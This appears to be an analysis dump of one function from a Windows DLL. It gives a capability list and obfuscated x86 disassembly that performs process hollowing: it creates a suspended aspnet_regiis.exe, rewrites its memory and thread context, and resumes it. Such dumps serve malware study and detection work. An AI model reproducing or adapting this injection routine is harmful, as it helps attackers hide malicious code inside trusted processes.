Function at 0x10002eb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x10095600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0xb60f8f89
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x80927aef
je 0x10005999
jmp 0x10002f23
mov eax, dword [ebp - 0x130]
sub eax, 0x80b964a6
je 0x100063b2
jmp 0x10002f39
mov eax, dword [ebp - 0x130]
sub eax, 0x8133758b
je 0x1000b0e6
jmp 0x10002f4f
mov eax, dword [ebp - 0x130]
sub eax, 0x81431d4a
je 0x10005890
jmp 0x10002f65
mov eax, dword [ebp - 0x130]
sub eax, 0x814ba75c
je 0x10008ac7
jmp 0x10002f7b
mov eax, dword [ebp - 0x130]
sub eax, 0x81a67715
je 0x10008013
jmp 0x10002f91
mov eax, dword [ebp - 0x130]
sub eax, 0x81b8d1a9
je 0x10009bc9
jmp 0x10002fa7
mov eax, dword [ebp - 0x130]
sub eax, 0x839e4566
je 0x10007231
jmp 0x10002fbd
mov eax, dword [ebp - 0x130]
sub eax, 0x842dabbf
je 0x100059a8
jmp 0x10002fd3
mov eax, dword [ebp - 0x130]
sub eax, 0x85162b47
je 0x100076e2
jmp 0x10002fe9
mov eax, dword [ebp - 0x130]
sub eax, 0x85fff750
je 0x100056ae
jmp 0x10002fff
mov eax, dword [ebp - 0x130]
sub eax, 0x863a1dc7
je 0x1000b824
jmp 0x10003015
mov eax, dword [ebp - 0x130]
sub eax, 0x8705410c
je 0x1000996a
jmp 0x1000302b
mov eax, dword [ebp - 0x130]
sub eax, 0x87291357
je 0x1000b371
jmp 0x10003041
mov eax, dword [ebp - 0x130]
sub eax, 0x8789e881
je 0x1000b9a4
jmp 0x10003057
mov eax, dword [ebp - 0x130]
sub eax, 0x88034f15
je 0x10008ee5
jmp 0x1000306d
mov eax, dword [ebp - 0x130]
sub eax, 0x881cfc66
je 0x10009075
jmp 0x10003083
mov eax, dword [ebp - 0x130]
sub eax, 0x8876375d
je 0x1000b23c
jmp 0x10003099
mov eax, dword [ebp - 0x130]
sub eax, 0x898f5e7a
je 0x1000b0ac
jmp 0x100030af
mov eax, dword [ebp - 0x130]
sub eax, 0x8a44b207
je 0x10008e65
jmp 0x100030c5
mov eax, dword [ebp - 0x130]
sub eax, 0x8a95a41e
je 0x10007597
jmp 0x100030db
mov eax, dword [ebp - 0x130]
sub eax, 0x8ba17f17
je 0x1000817b
jmp 0x100030f1
mov eax, dword [ebp - 0x130]
sub eax, 0x8c69d3aa
je 0x1000ba53
jmp 0x10003107
mov eax, dword [ebp - 0x130]
sub eax, 0x8ca9097a
je 0x1000aa9e
jmp 0x1000311d
mov eax, dword [ebp - 0x130]
sub eax, 0x8ce95b5f
je 0x10009949
jmp 0x10003133
mov eax, dword [ebp - 0x130]
sub eax, 0x8d921121
je 0x10009fb5
jmp 0x10003149
mov eax, dword [ebp - 0x130]
sub eax, 0x8da357a7
je 0x10005c8e
jmp 0x1000315f
mov eax, dword [ebp - 0x130]
sub eax, 0x8df2f6f7
je 0x1000b1ca
jmp 0x10003175
mov eax, dword [ebp - 0x130]
sub eax, 0x8df81893
je 0x100091a2
jmp 0x1000318b
mov eax, dword [ebp - 0x130]
sub eax, 0x8ebdf3ae
je 0x10006567
jmp 0x100031a1
mov eax, dword [ebp - 0x130]
sub eax, 0x8ec4cd65
je 0x10005ced
jmp 0x100031b7
mov eax, dword [ebp - 0x130]
sub eax, 0x8f7a5a36
je 0x1000a4ce
jmp 0x100031cd
mov eax, dword [ebp - 0x130]
sub eax, 0x90afa3ef
je 0x10007e17
jmp 0x100031e3
mov eax, dword [ebp - 0x130]
sub eax, 0x93267076
je 0x10006642
jmp 0x100031f9
mov eax, dword [ebp - 0x130]
sub eax, 0x94553d42
je 0x1000b892
jmp 0x1000320f
mov eax, dword [ebp - 0x130]
sub eax, 0x94601c05
je 0x1000b51e
jmp 0x10003225
mov eax, dword [ebp - 0x130]
sub eax, 0x94b7b6e7
je 0x1000b26f
jmp 0x1000323b
mov eax, dword [ebp - 0x130]
sub eax, 0x94beff8a
je 0x1000b2ff
jmp 0x10003251
mov eax, dword [ebp - 0x130]
sub eax, 0x9527905b
je 0x1000852d
jmp 0x10003267
mov eax, dword [ebp - 0x130]
sub eax, 0x952c9586
je 0x1000886a
jmp 0x1000327d
mov eax, dword [ebp - 0x130]
sub eax, 0x95f7436b
je 0x100062b1
jmp 0x10003293
mov eax, dword [ebp - 0x130]
sub eax, 0x962aec69
je 0x1000b6cb
jmp 0x100032a9
mov eax, dword [ebp - 0x130]
sub eax, 0x971501e6
je 0x1000753c
jmp 0x100032bf
mov eax, dword [ebp - 0x130]
sub eax, 0x97ce0898
je 0x10007d42
jmp 0x100032d5
mov eax, dword [ebp - 0x130]
sub eax, 0x99c98f9d
je 0x10005d4c
jmp 0x100032eb
mov eax, dword [ebp - 0x130]
sub eax, 0x9a43a7ee
je 0x1000a850
jmp 0x10003301
mov eax, dword [ebp - 0x130]
sub eax, 0x9a54cd0f
je 0x10009762
jmp 0x10003317
mov eax, dword [ebp - 0x130]
sub eax, 0x9a59c9f2
je 0x10009c3e
jmp 0x1000332d
mov eax, dword [ebp - 0x130]
sub eax, 0x9aded142
je 0x10005fda
jmp 0x10003343
mov eax, dword [ebp - 0x130]
sub eax, 0x9b60d643
je 0x10006df3
jmp 0x10003359
mov eax, dword [ebp - 0x130]
sub eax, 0x9cf4248f
je 0x10007b0e
jmp 0x1000336f
mov eax, dword [ebp - 0x130]
sub eax, 0x9da7a2ad
je 0x10007a2e
jmp 0x10003385
mov eax, dword [ebp - 0x130]
sub eax, 0x9dd51865
je 0x10007938
jmp 0x1000339b
mov eax, dword [ebp - 0x130]
sub eax, 0x9ed41575
je 0x10009868
jmp 0x100033b1
mov eax, dword [ebp - 0x130]
sub eax, 0x9eed30e4
je 0x10007e38
jmp 0x100033c7
mov eax, dword [ebp - 0x130]
sub eax, 0x9faf71a7
je 0x1000b09a
jmp 0x100033dd
mov eax, dword [ebp - 0x130]
sub eax, 0xa0e55977
je 0x1000a875
jmp 0x100033f3
mov eax, dword [ebp - 0x130]
sub eax, 0xa1b34782
je 0x10006681
jmp 0x10003409
mov eax, dword [ebp - 0x130]
sub eax, 0xa1c7d1c3
je 0x10007712
jmp 0x1000341f
mov eax, dword [ebp - 0x130]
sub eax, 0xa30f4ba3
je 0x1000b6b6
jmp 0x10003435
mov eax, dword [ebp - 0x130]
sub eax, 0xa464aaea
je 0x10006478
jmp 0x1000344b
mov eax, dword [ebp - 0x130]
sub eax, 0xa5937d10
je 0x100075a6
jmp 0x10003461
mov eax, dword [ebp - 0x130]
sub eax, 0xa64a7f8f
je 0x10005d2b
jmp 0x10003477
mov eax, dword [ebp - 0x130]
sub eax, 0xa6527d6e
je 0x10006c3e
jmp 0x1000348d
mov eax, dword [ebp - 0x130]
sub eax, 0xa67b1c5f
je 0x1000ab57
mov dword [ebp - 0x12c], 0x2d0338df
jmp 0x1000bae6
mov eax, dword [0x10096928]
mov ecx, dword [0x10096924]
mov edx, eax
add edx, 0x4daf2ca9
sub edx, 1
sub edx, 0x4daf2ca9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8133758b
mov ecx, 0xf556366a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0x842dabbf
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea47e7a9
mov ecx, 0x7a107edf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dl, 1
mov eax, 0x8ec4cd65
mov ecx, 0x281a4c8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001838c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xb1bc091c
jmp 0x1000bae6
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018388]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x99c98f9d
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0x2f39a4e5
sub edx, 1
add edx, 0x2f39a4e5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd46f5238
mov ecx, 0x4e29c0e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [0x10096928]
mov ecx, dword [0x10096924]
mov edx, eax
sub edx, 0x316ed31f
sub edx, 1
add edx, 0x316ed31f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13e85bb8
mov ecx, 0x6f6b3edd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018214]
movss dword [eax], xmm0
mov eax, dword [0x10096928]
mov ecx, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6eb150a
mov ecx, 0xbcc2ca91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
add edx, 0x58514e4
sub edx, 1
sub edx, 0x58514e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbaa1e286
mov ecx, 0x53ae5516
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0x11c402fe
jmp 0x1000bae6
mov dl, 1
mov eax, 0xbbf81c8e
mov ecx, 0x33ab5aae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0x25d554e1
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x94b7b6e7
mov ecx, 0xc60d1308
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0x44ee168f
sub edx, 1
add edx, 0x44ee168f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb36f7bde
mov ecx, 0x618bd007
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001833c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xe44bd332
jmp 0x1000bae6
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181ec]
movss dword [eax], xmm0
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0x1d110fdf
sub edx, 1
add edx, 0x1d110fdf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87291357
mov ecx, 0x3596495a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181e0]
movss dword [eax], xmm0
mov eax, dword [0x10096928]
mov ecx, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbbf4ba34
mov ecx, 0x8a95a41e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0xa5937d10
jmp 0x1000bae6
mov dl, 1
mov eax, 0x2f8b8ba3
mov ecx, 0xd28c6305
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0x2f8b8ba3
jmp 0x1000bae6
mov dl, 1
mov eax, 0x4411f343
mov ecx, 0xdf060ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0x59165c3b
sub edx, 1
add edx, 0x59165c3b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf0a98a
mov ecx, 0x7e40be71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
add edx, 0xba231a39
sub edx, 1
sub edx, 0xba231a39
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcda3bd63
mov ecx, 0x2857f22a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100182fc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100182f8]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xb56334e0
mov ecx, 0x40609ace
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0xe95dad0d
sub edx, 1
add edx, 0xe95dad0d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3037786c
mov ecx, 0xf1e0c5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100182d8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x9eed30e4
jmp 0x1000bae6
mov dl, 1
mov eax, 0x192a302b
mov ecx, 0x1a9227d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x2319224b
jmp 0x1000bae6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100182b4]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x4bc9aeb3
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x32a5045
mov ecx, 0x623ebacd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
add edx, 0x95dc8564
sub edx, 1
sub edx, 0x95dc8564
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbe76aef3
mov ecx, 0xbee1cd30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10018260]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001825c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xc1d481e8
jmp 0x1000bae6
mov dl, 1
mov eax, 0xc895ede9
mov ecx, 0xd71b29a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0x5f33372f
sub edx, 1
add edx, 0x5f33372f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x77b6e3c8
mov ecx, 0x1a4e4b58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0xba5293ed
jmp 0x1000bae6
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018240]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x2dc7b07c
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0x35e03a87
jmp 0x1000bae6
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x94]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x60b866ab
mov ecx, 0x1ad8a9c2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dl, byte [ebp - 0x8d]
mov eax, 0xeebc2784
mov ecx, 0x8705410c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
mov edx, ecx
sub edx, 0xb959562c
sub edx, 1
add edx, 0xb959562c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41dd0a8c
mov ecx, 0x6fa51c2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0x7c569f69
jmp 0x1000bae6
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x12c], 0xb0eede59
jmp 0x1000bae6
mov dl, byte [ebp - 0x69]
mov eax, 0xb5d753c9
mov ecx, 0xdb6519d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [0x10096928]
mov ecx, dword [0x10096924]
mov edx, eax
add edx, 0x7f08bfb0
sub edx, 1
sub edx, 0x7f08bfb0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6926e2d
mov ecx, 0x595507e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x12c], 0xa0e55977
jmp 0x1000bae6
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x12c], 0xc5687e12
jmp 0x1000bae6
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov ecx, dword [0x10096928]
mov eax, dword [0x10096924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x324fada
mov ecx, 0x296b18a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bae6
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c060
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x12c], 0x58421b12
jmp 0x1000bae6
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018230]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xf556366a
jmp 0x1000bae6
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018218]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x4a279ba3
jmp 0x1000bae6
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001820c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018208]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x72dca031
jmp 0x1000bae6
mov dword [ebp - 0x12c], 0xc60d1308
jmp 0x1000bae6
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181f8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xe3482604
jmp 0x1000bae6
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181ec]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x839e4566
jmp 0x1000bae6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x540e24e7
jmp 0x1000bae6
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x12c], 0x3ea962c8
jmp 0x1000bae6
mov eax, dword [ebp - 0xe8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x33789998
jmp 0x1000bae6
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x12c], 0x41acaa38
jmp 0x1000bae6
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x7f672399
sub ecx, eax
add ecx, 0x7f672399
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov dword [ebp - 0x12c], 0xd1c9a5b1
jmp 0x1000bae6
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x12c], 0xa83132ff
jmp 0x1000bae6
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x12c], 0xde7c7e26
jmp 0x1000bae6
jmp 0x10002f07